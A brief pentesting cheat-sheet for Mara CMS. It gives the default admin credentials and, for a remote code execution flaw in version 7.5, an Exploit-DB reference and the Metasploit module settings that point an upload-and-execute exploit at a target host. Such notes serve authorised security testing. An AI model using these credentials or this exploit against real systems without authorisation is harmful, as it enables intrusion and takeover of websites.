# Mara CMS Pentesting

Mara CMS is a file based content management system.

### Default Credentials <a href="#default-credentials" id="default-credentials"></a>

```
admin:changeme
```

### Remote Code Execution (RCE) v7.5 <a href="#remote-code-execution-rce-v75" id="remote-code-execution-rce-v75"></a>

Reference: <https://www.exploit-db.com/exploits/48780>

#### Automation <a href="#automation" id="automation"></a>

```
msfconsole
msf> use exploit/multi/http/maracms_upload_exec
msf> set rhosts <target-ip>
msf> set lhost <local-ip>
msf> set srvhost <local-ip>
msf> set srvport <local-port>
msf> set targeturi /path/to/maracms/
msf> set targeturipath /path/to/maracms/
```

### References <a href="#references" id="references"></a>

* [Exploit DB](https://www.exploit-db.com/exploits/48780)